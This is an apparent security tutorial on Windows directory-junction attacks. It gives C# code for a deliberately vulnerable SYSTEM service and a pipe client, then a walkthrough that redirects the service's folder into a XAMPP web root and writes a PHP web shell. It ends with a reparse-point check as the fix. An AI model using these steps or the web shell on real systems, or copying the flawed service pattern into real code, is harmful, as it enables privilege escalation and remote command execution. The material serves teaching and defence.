In the Windows operating system, directory junctions act like a symbolic link, but specifically for directories. Whilst they are similar to a shortcuts they are transparent to programs so the programs may not know they are accessing the linked directory.
Directory junctions are often used to manage file system organisation or to create the illusion that directories are located in different places when they are actually stored in one location. This can be useful in situations like redirecting a directory to a different drive or partition without breaking the file path structure.
You can create a junction using the mklink command with the /J flag in the command prompt. In this instance, we are linking C:\test to C:\test2. Note, that you can create junctions to folders that you don’t have privileges to access.
C:\>mklink /J C:\test C:\test2\
Junction created for C:\test <<===>> C:\test2\
You can then see the junction using the dir command.
dir /A:L
Volume in drive C has no label.
Volume Serial Number is 8843-CB9A
Directory of C:\
04/07/2024 13:32 <JUNCTION> Documents and Settings [C:\Users]
31/01/2025 16:16 <JUNCTION> test [C:\test2\]
0 File(s) 0 bytes
2 Dir(s) 26,659,053,568 bytes free
An adversary could exploit a privileged process accessing a junction to read or write files otherwise inaccessible at their current privilege level. This could lead of elevation of privilege vulnerabilities.
Server Code
The following (vulnerable) application is a Windows service that runs as LOCAL SYSTEM. It receives input via a named pipe, and will writes the message it receives to a file in C:\filestore.
using System;
using System.IO;
using System.IO.Pipes;
using System.Linq;
using System.Security.AccessControl;
using System.ServiceProcess;
namespace NamedPipeService
{
public partial class Service1 : ServiceBase
{
private NamedPipeServerStream pipeServer;
public Service1()
{
ServiceName = "NamedPipeService";
}
protected override void OnStart(string[] args)
{
StartPipeServer();
}
private void StartPipeServer()
{
while (true)
{
try
{
var security = new PipeSecurity();
security.AddAccessRule(new PipeAccessRule("BUILTIN\\Users", PipeAccessRights.ReadWrite, AccessControlType.Allow));
using (pipeServer = new NamedPipeServerStream("mypipe", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.None, 1024, 1024, security))
{
pipeServer.WaitForConnection();
using (var reader = new StreamReader(pipeServer))
using (var writer = new StreamWriter(pipeServer))
{
writer.AutoFlush = true;
string fileName = reader.ReadLine();
string fileContent = reader.ReadLine();
if (Path.IsPathRooted(fileName) || fileName.Contains(Path.DirectorySeparatorChar) || fileName.Contains(Path.AltDirectorySeparatorChar))
{
writer.WriteLine("Invalid filename."); // Make sure we don't allow directory traversal
continue;
}
else {
string directory = @"C:\filestore\";
string fullFilePath = Path.Combine(directory, fileName);
try
{
using (StreamWriter fileWriter = new StreamWriter(fullFilePath, false))
{
fileWriter.WriteLine(fileContent);
}
writer.WriteLine("File written.");
}
catch (Exception ex)
{
writer.WriteLine($"Error writing to file: {ex.Message}");
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}");
}
}
}
protected override void OnStop()
{
pipeServer?.Close();
}
}
}
Once the service has been compiled, the sc command can be used to create and start the service.
C:\Windows\System32>sc create NamedPipeService binPath= "C:\Users\development\source\repos\NamedPipeService\NamedPipeService\bin\x64\Release\NamedPipeService.exe"
[SC] CreateService SUCCESS
C:\Windows\System32>sc start NamedPipeService
SERVICE_NAME: NamedPipeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 1112
FLAGS :
Client Code
The following client code will allow us to interact with the service.
using System;
using System.IO.Pipes;
using System.IO;
namespace NamedPipeClient
{
class Program
{
static void Main(string[] args)
{
try
{
using (var pipeClient = new NamedPipeClientStream(".", "mypipe", PipeDirection.InOut))
{
pipeClient.Connect();
Console.WriteLine("Connected to the server!");
using (var reader = new StreamReader(pipeClient))
using (var writer = new StreamWriter(pipeClient))
{
writer.AutoFlush = true;
Console.WriteLine("Enter the file name to be written to:");
string filePath = Console.ReadLine();
writer.WriteLine(filePath);
Console.WriteLine("Enter the content to write into the file:");
string fileContent = Console.ReadLine();
writer.WriteLine(fileContent);
string response = reader.ReadLine();
Console.WriteLine("Server response: " + response);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}");
}
}
}
}
Exploitation
If an adversary has write permissions to C:\filestore, they can create a junction to reroute this to an alternative directory. In the below output, we can see that the Authenticated Users group has full control of the filestore directory.
C:\>icacls filestore
filestore NT AUTHORITY\Authenticated Users:(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
The adversary can remove the filestore directory and create a junction from C:\filestore to the XAMPP web server directory.
C:\>rmdir filestore
C:\>mklink /J C:\filestore C:\xampp\htdocs\dashboard
Junction created for C:\filestore <<===>> C:\xampp\htdocs\dashboard
C:\>dir /A:L
Volume in drive C has no label.
Volume Serial Number is 8843-CB9A
Directory of C:\
04/07/2024 13:32 <JUNCTION> Documents and Settings [C:\Users]
02/02/2025 15:14 <JUNCTION> filestore [C:\xampp\htdocs\dashboard]
Now, when the client interacts with the service (running a LOCAL SYSTEM), it will be writing a file to the XAMPP directory. As such, we can write PHP code to a file that will be executed in the context of the XAMPP user.
NamedPipeClient.exe
Connected to the server!
Enter the file name to be written to:
shell.php
Enter the content to write into the file:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Server response: File written.

In Conclusion
To mitigate this type of attack, File.GetAttributes can be called to determine if a target file system path is a junction. The below code would implement this type of check.
private bool IsJunction(string path)
{
var attributes = File.GetAttributes(path);
return (attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint;
}